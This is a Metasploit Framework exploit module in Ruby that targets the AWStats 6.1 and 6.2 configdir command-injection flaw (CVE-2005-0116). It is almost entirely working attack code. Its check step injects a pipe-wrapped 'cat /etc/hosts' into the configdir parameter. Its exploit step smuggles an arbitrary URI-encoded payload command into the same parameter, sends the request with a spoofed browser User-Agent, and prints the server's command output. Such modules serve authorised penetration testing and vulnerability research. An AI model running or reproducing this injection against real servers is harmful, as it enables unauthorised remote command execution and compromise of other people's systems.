## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AWStats configdir Remote Command Execution', 'Description' => %q{ This module exploits an arbitrary command execution vulnerability in the AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2 are vulnerable. }, 'Author' => [ 'Matteo Cantoni ', 'hdm' ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ ['CVE', '2005-0116'], ['OSVDB', '13002'], ['BID', '12298'], ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Space' => 512, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl ruby bash telnet', } }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Jan 15 2005', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]), ], self.class) end def check res = send_request_cgi({ 'uri' => datastore['URI'], 'vars_get' => { 'configdir' => '|echo;cat /etc/hosts;echo|' } }, 25) if (res and res.body.match(/localhost/)) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit command = Rex::Text.uri_encode(payload.encoded) urlconfigdir = datastore['URI'] + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|" res = send_request_raw({ 'uri' => urlconfigdir, 'method' => 'GET', 'headers' => { 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Connection' => 'Close', } }, 25) if (res) print_status("The server returned: #{res.code} #{res.message}") m = res.body.match(/YYY\n(.*)\nYYY/m) if (m) print_status("Command output from the server:") print("\n" + m[1] + "\n\n") else print_status("This server may not be vulnerable") end else print_status("No response from the server") end end end